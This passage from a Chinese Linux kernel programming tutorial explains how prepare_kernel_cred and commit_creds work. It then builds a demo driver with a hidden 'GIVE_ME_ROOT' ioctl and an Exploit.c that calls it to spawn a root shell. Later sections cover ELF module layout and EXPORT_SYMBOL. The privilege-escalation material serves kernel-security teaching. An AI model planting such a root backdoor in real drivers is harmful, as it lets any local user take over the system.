。通过上面的简单了解,现在我们来使用这两个函数来编写一个用于提权的驱动模块。 **prepare_kernel_cred** 源码如下(Linux 5.11): ``` struct cred *prepare_kernel_cred(struct task_struct *daemon) { const struct cred *old; struct cred *new; new = kmem_cache_alloc(cred_jar, GFP_KERNEL); if (!new) return NULL; kdebug("prepare_kernel_cred() alloc %p", new); if (daemon) old = get_task_cred(daemon); else old = get_cred(&init_cred); validate_creds(old); *new = *old; new->non_rcu = 0; atomic_set(&new->usage, 1); set_cred_subscribers(new, 0); get_uid(new->user); get_user_ns(new->user_ns); get_group_info(new->group_info); #ifdef CONFIG_KEYS new->session_keyring = NULL; new->process_keyring = NULL; new->thread_keyring = NULL; new->request_key_auth = NULL; new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING; #endif #ifdef CONFIG_SECURITY new->security = NULL; #endif if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0) goto error; put_cred(old); validate_creds(new); return new; error: put_cred(new); put_cred(old); return NULL; } ``` 函数执行过程: ● 通过kmem_cache_alloc将对象分配给变量new ● 判断daemon参数的值: ◎如果daemon参数的值不为0,则调用get_task_cred函数,并将传递的进程凭据存储在old变量中 ◎如果daemon参数为0,则调用get_cred函数,并将init_cred凭据存储在old变量中 ● validate_creds函数验证传递的凭据old ● 由atomic_set函数将&new->usage设置为1 ● 使用set_cred_subscribers函数把&cred->subscribers设置为0 ● get_uid、get_user_ns、get_group_info检索新凭证的uid、用户命名空间和用户组信息 ● 使用security_prepare_creds函数更改当前进程的特权级别 ● 使用put_cred函数释放当前进程先前引用的凭证 ● 使用validate_creds函数验证传递的新凭证 ● init_cred结构体保存着进程初始的权限信息,源码如下: ``` struct cred init_cred = { .usage = ATOMIC_INIT(4), #ifdef CONFIG_DEBUG_CREDENTIALS .subscribers = ATOMIC_INIT(2), .magic = CRED_MAGIC, #endif .uid = GLOBAL_ROOT_UID, .gid = GLOBAL_ROOT_GID, .suid = GLOBAL_ROOT_UID, .sgid = GLOBAL_ROOT_GID, .euid = GLOBAL_ROOT_UID, .egid = GLOBAL_ROOT_GID, .fsuid = GLOBAL_ROOT_UID, .fsgid = GLOBAL_ROOT_GID, .securebits = SECUREBITS_DEFAULT, .cap_inheritable = CAP_EMPTY_SET, .cap_permitted = CAP_FULL_SET, .cap_effective = CAP_FULL_SET, .cap_bset = CAP_FULL_SET, .user = INIT_USER, .user_ns = &init_user_ns, .group_info = &init_groups, }; ``` 这个结构体里面的重要字段是uid、gid、suid、sgid,通过它们来设置root权限。也就是说,当执行prepare_kernel_cred函数时将NULL作为参数传递时,会进入else分支执行get_cred(&init_cred),返回一个root权限的cred结构体。 **commit_creds** 此函数将新的凭证安装到当前进程中,源码: ``` int commit_creds(struct cred *new) { struct task_struct *task = current; const struct cred *old = task->real_cred; kdebug("commit_creds(%p{%d,%d})", new, atomic_read(&new->usage), read_cred_subscribers(new)); BUG_ON(task->cred != old); #ifdef CONFIG_DEBUG_CREDENTIALS BUG_ON(read_cred_subscribers(old) < 2); validate_creds(old); validate_creds(new); #endif BUG_ON(atomic_read(&new->usage) < 1); get_cred(new); /* we will require a ref for the subj creds too */ /* dumpability changes */ if (!uid_eq(old->euid, new->euid) || !gid_eq(old->egid, new->egid) || !uid_eq(old->fsuid, new->fsuid) || !gid_eq(old->fsgid, new->fsgid) || !cred_cap_issubset(old, new)) { if (task->mm) set_dumpable(task->mm, suid_dumpable); task->pdeath_signal = 0; /* * If a task drops privileges and becomes nondumpable, * the dumpability change must become visible before * the credential change; otherwise, a __ptrace_may_access() * racing with this change may be able to attach to a task it * shouldn't be able to attach to (as if the task had dropped * privileges without becoming nondumpable). * Pairs with a read barrier in __ptrace_may_access(). */ smp_wmb(); } /* alter the thread keyring */ if (!uid_eq(new->fsuid, old->fsuid)) key_fsuid_changed(new); if (!gid_eq(new->fsgid, old->fsgid)) key_fsgid_changed(new); /* do it * RLIMIT_NPROC limits on user->processes have already been checked * in set_user(). */ alter_cred_subscribers(new, 2); if (new->user != old->user) atomic_inc(&new->user->processes); rcu_assign_pointer(task->real_cred, new); rcu_assign_pointer(task->cred, new); if (new->user != old->user) atomic_dec(&old->user->processes); alter_cred_subscribers(old, -2); /* send notifications */ if (!uid_eq(new->uid, old->uid) || !uid_eq(new->euid, old->euid) || !uid_eq(new->suid, old->suid) || !uid_eq(new->fsuid, old->fsuid)) proc_id_connector(task, PROC_EVENT_UID); if (!gid_eq(new->gid, old->gid) || !gid_eq(new->egid, old->egid) || !gid_eq(new->sgid, old->sgid) || !gid_eq(new->fsgid, old->fsgid)) proc_id_connector(task, PROC_EVENT_GID); /* release the old obj and subj refs both */ put_cred(old); put_cred(old); return 0; } ``` 它的执行过程如下: ●current存储当前的进程信息 ●将当前进程使用的凭证信息存储在old变量中 ●使用BUG_ON函数检查: ◎◎确保task->cred和old的凭证不同 ◎◎检查&new->usage中存储的值是否小于1 ●使用get_cred函数获取存储在new变量中的凭证信息 ●使用uid_eq和gid_eq函数检测存储在以下结构中变量的值: ◎◎euid、egid表示有效用户ID(effective user ID),表示进程对文件的权限 ◎◎fsuid代表文件系统用户ID(file system user ID),用于Linux文件系统访问控制 ◎◎old->euid, new->euid ◎◎old->egid, new->egid ◎◎old->fsuid, new->fsuid ◎◎old->fsgid, new->fsgid ●cred_cap_issubset函数检查两个凭证是否在同一个用户命名空间中 ●同样使用uid_eq和gid_eq检查结构体中变量的值: ◎◎new->fsuid, old->fsuid ◎◎new->fsgid, old->fsgid ◎◎如果比较值不相同,则使用key_fsuid_changed和key_fsgid_changed函数更新为当前进程的fsuid和fsgid ●alter_cred_subscribers将new结构体的subscribers置为2 ●rcu_assign_pointer函数在当前进程的task->real_cred、task->cred中注册new的凭证 ●alter_cred_subscribers函数将old结构体的subscribers置为-2 ●使用put_cred函数释放所有之前使用的凭证(old obj、old subj) **例子** 让我们使用上面的内容来获取root权限。 编写头文件escalation.h: ``` #ifndef CHAR_DEV_H_ #define CHAR_DEV_H_ #include struct ioctl_info{ unsigned long size; char buf[128]; }; #define IOCTL_MAGIC 'G' #define SET_DATA _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info) #define GET_DATA _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info) #define GIVE_ME_ROOT _IO(IOCTL_MAGIC, 0) #endif ``` 编写如下代码,存储为escalation.c ``` #include #include #include #include #include #include #include #include #include #include #include #include #include "escalation.h" MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 1; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_open(struct inode *, struct file *); static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); static long chardev_ioctl(struct file *, unsigned int, unsigned long); struct file_operations s_chardev_fops = { .open = chardev_open, .release = chardev_release, .read = chardev_read, .write = chardev_write, .unlocked_ioctl = chardev_ioctl, }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; int minor = 0; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &s_chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor); return 0; } static void chardev_exit(void) { int minor = 0; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); device_destroy(chardev_class, MKDEV(chardev_major, minor)); class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_open(struct inode *inode, struct file *file) { printk("The chardev_open() function has been called."); return 0; } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_close() function has been called."); return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_write() function has been called."); return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_read() function has been called."); return count; } static struct ioctl_info info; static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { printk("The chardev_ioctl() function has been called."); switch (cmd) { case SET_DATA: printk("SET_DATA\n"); if (copy_from_user(&info, (void __user *)arg, sizeof(info))) { return -EFAULT; } printk("info.size : %ld, info.buf : %s",info.size, info.buf); break; case GET_DATA: printk("GET_DATA\n"); if (copy_to_user((void __user *)arg, &info, sizeof(info))) { return -EFAULT; } break; case GIVE_ME_ROOT: printk("GIVE_ME_ROOT\n"); commit_creds(prepare_kernel_cred(NULL)); return 0; default: printk(KERN_WARNING "unsupported command %d\n", cmd); return -EFAULT; } return 0; } module_init(chardev_init); module_exit(chardev_exit); ``` **源码解读:** ●头文件中,GIVE_ME_ROOT设置为_IO(输入、输出)并且没有参数值 ●C代码由上一节ioctl的示例代码更改,添加了部分代码: ◎◎使用ioctl命令宏添加了一个GIVE_ME_ROOT的命令 ◎◎GIVE_ME_ROOT执行时会执行commit_creds(prepare_kernel_cred(NULL)) Makefile如下: ``` obj-m = escalation.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ``` 接下来编写Exp文件,命名为Exploit.c: ``` #include #include #include #include #include #include "escalation.h" void main() { int fd, ret; fd = open("/dev/chardev0", O_NOCTTY); if (fd < 0) { printf("Can't open device file\n"); exit(1); } ret = ioctl(fd, GIVE_ME_ROOT); if (ret < 0) { printf("ioctl failed: %d\n", ret); exit(1); } close(fd); execl("/bin/sh", "sh", NULL); } ``` 上一节的chardev0设备文件我并没有删除,并且代码没有太大变化,就懒得重新创建设备文件了,所以在这里直接打开就行。 最后我们编译并注册模块: ``` make sudo insmod escalation.ko ``` ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/17376ecf27e8b6b0efdb9df2b41cfbbe.png) 最后编译Exploit文件,运行后可以得到root权限的shell: ``` gcc -o Exploit Exploit.c ./Exploit ``` ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/38fdfbbdda9cca475e9a639d9c08b023.png) 我们检查内核输出也印证了过程没有问题 ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/41a16c4f2de78c37b2d499586eafc9b7.png)

内核模块的文件格式

以内核模块形式存在的驱动程序,比如 hello.ko,其在文件的数据组织形式上是 ELF(Executable and Linkable Format)格式。具体来说,内核模块是一种普通的可重定位的目标文件。用 file 命令查看 hello.ko 文件,可得到如下输出: ``` $ file hello.ko hello.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped ``` ELF 是 Linux 下非常重要的一种文件格式,常见的可执行程序都是以 ELF 的形式存在。结合 Linux 源代码中定义的 ELF相关数据结构(基于 32 位体系结构),ELF 格式的一个比较详细的结构图: ![输入图片说明](http://docs.chinaredflag.cn/uploads/20230826/7514618552956adc260d01bb208ae30d.png) 静态 ELF 文件视图总体上可分为三大部分:头部的 ELF header,中间的 Section 和 尾部的 Section Header table。 **ELF header 部分** 大小是 52 字节,位于文件头部。对于驱动模块文件来说,一些比较重要的数据成员在下方进行了注释: ``` typedef struct elf32_hdr { unsigned char e_ident[EI_NIDENT]; Elf32_Half e_type; /* 文件类型,对于驱动模块,其值为 1 */ Elf32_Half e_machine; Elf32_Word e_version; Elf32_Addr e_entry; /* Entry point */ Elf32_Off e_phoff; Elf32_Off e_shoff; /* 表明 Section Header table 部分在文件中的偏移量 */ Elf32_Word e_flags; Elf32_Half e_ehsize; Elf32_Half e_phentsize; Elf32_Half e_phnum; Elf32_Half e_shentsize; /* 表明 Section Header table 部分每一个 entry 的大小(字节) */ Elf32_Half e_shnum; /* 表明 Section Header table 中有多少个 entry */ Elf32_Half e_shstrndx; /* 与 Section Header table 中的 sh_name 用来指明对应的 section 的 name */ } Elf32_Ehdr; ``` **Section 部分** ELF 文件的主体,位于文件视图中间部分的一个连续区域中。当模块被内核加载时,会根据各自属性被重新分配到新的内存区域。 **Section Header table 部分** 该部分位于文件视图的末尾,由若干个 Section header entry 组成,每个 entry 具有相同的数据结构类型。对于驱动模块文件来说,一些比较重要的数据成员在下方进行了注释: ``` typedef struct elf32_shdr { Elf32_Word sh_name; Elf32_Word sh_type; Elf32_Word sh_flags; Elf32_Addr sh_addr; /* 表示该 entry 所对应的 section 在内存中的实际地址 */ Elf32_Off sh_offset; /* 表明 对应的 section 在文件视图中的偏移量 */ Elf32_Word sh_size; /* 表明对应的 setion 在文件视图中的大小(字节) */ Elf32_Word sh_link; Elf32_Word sh_info; Elf32_Word sh_addralign; Elf32_Word sh_entsize; /* 表示 entry 的大小 */ } Elf32_Shdr; ``` **EXPORT_SYMBOL 介绍** Linux 内核源码中充斥着像 EXPORT_SYMBOL 这样的宏,在我们自己的设备驱动程序中也经常会发现它的身影。大部分时间里,我们只知道它用来向外界导出一个符号,更不用说去仔细探究其背后的实现原理了。这些不起眼的宏却有大用场,如果没有他们,我们的驱动程序甚至连 printk 这样常见的内核函数都不能用。 符号导出的宏定义有以下几种: EXPORT_SYMBOL EXPORT_SYMBOL_GPL EXPORT_SYMBOL_GPL_FUTURE 模块在加载过程中会使用到宏定义导出符号的内核机制,导出符号这一特性在 Linux 系统中对模块的存在具有重要的意义。 对于静态编译链接而成的内核映像而言,所有的符号引用都将在静态链接阶段完成。内核模块的出现,让事情发生了变化:内核模块不可避免地要使用到内核提供地基础设施(以调用内核函数地形式发生),作为独立编译链接的内核模块,必须要解决这种静态链接无法完成地符号引用问题(“未解决的引用”)。 内核和内核模块通过符号表的形式向外部世界导出符号的相关信息,在代码层面则以 EXPORT_SYSMBOL 宏定义的形式存在。这类宏功能的完整实现需要经过三个部分来达成: **EXPORT_SYMBOL 宏定义部分** 链接脚本链接器部分 使用导出符号部分 宏定义的内核源码如下: ``` #define __EXPORT_SYMBOL(sym, sec) \ extern typeof(sym) sym; \ __CRC_SYMBOL(sym, sec) \ static const char __kstrtab_##sym[] \ __attribute__((section("__ksymtab_strings"), aligned(1))) \ = VMLINUX_SYMBOL_STR(sym); \ extern const struct kernel_symbol __ksymtab_##sym; \ __visible const struct kernel_symbol __ksymtab_##sym \ __used \ __attribute__((section("___ksymtab" sec "+" #sym), unused)) \ = { (unsigned long)&sym, __kstrtab_##sym } #define EXPORT_SYMBOL(sym) \ __EXPORT_SYMBOL(sym, "") #define EXPORT_SYMBOL_GPL(sym) \ __EXPORT_SYMBOL(sym, "_gpl") #define EXPORT_SYMBOL_GPL_FUTURE(sym) \ __EXPORT_SYMBOL(sym, "_gpl_future") ``` 由 EXPORT_SYMBOL 等宏导出的符号,与一般的变量定义并没有实质性的差异,唯一不同点在于他们被放在了特定的 section 中。 对这些 section 的使用需要经过一个中间环节,即链接脚本与链接器部分。链接脚本告诉链接器,把所有目标文件中的名为 "__ksymtab" 的 section, 放置在最终内核(或是内核模块)映像文件的名为 “__ksymtab” 的section中(其他情况类似)。 把所有导出的符号统一放在一个特殊的 section 里,为了在加载其他模块时处理 “未解决的引用” 符号。

内核编程入门

Linux可加载内核模块是 Linux 内核的最重要创新之一。它们提供了可伸缩的、动态的内核。其它开发者可以不用重新编译整个内核便可以开发内核层的程序,极大方便了驱动程序等的开发速度。 ● 什么是内核模块:内核模块是具有独立功能的程序。它可以被单独编译,但是不能单独运行,它的运行必须被链接到内核作为内核的一部分在内核空间中运行。模块编程和内核版本密切相连,因为不同的内核版本中某些函数的函数名会有变化(所以我在编译老师给的实例时报错了),因此模块编程也可以说是内核编程。 ● 内核模块编程特点: 模块本身不被编译进内核映像,从而控制了内核的大小;模块一旦被加载,就和内核中的其他部分完全一样。 ** 一个简单的内核模块** ``` #include #include #include //模块许可证声明,必须 MODULE_LICENSE("GPL"); //模块加载函数,必须 static int hello_init(void){ printk(KERN_ALERT "Hello Kernel!"); return 0; } //模块卸载函数,必须 static void hello_exit(void){ printk(KERN_ALERT "goodbye,kernel/n"); } //模块的注册 module_init(hello_init); module_exit(hello_exit); // 以下可选 //声明模块的作者 MODULE_AUTHOR("Magic"); //声明模块的描述 MODULE_DESCRIPTION("This is a simple example!/n"); //声明模块的别名 MODULE_ALIAS("A simplest example"); //声明模块的版本 MODULE_VERSION("version_string"); //声明设备表,对于USB,PCI等设备驱动,通常会创建一个 MODULE_DEVICE_TABLE("table_info"); ``` 要知道不同环境下,内核版本不一样的可能性极高,再考虑到路径等问题,为了编译方便,一般都采用Makefile的文件形式,来简化内核版本号、路径、以及编写模块的路径和信息 ``` obj-m += hello.o #generate the path CURRENT_PATH:=$(shell pwd) #the current kernel version number LINUX_KERNEL:=$(shell uname -r) #the absolute path LINUX_KERNEL_PATH:=/usr/src/linux-headers-$(LINUX_KERNEL) #complie object all: make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules #clean clean: make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean ```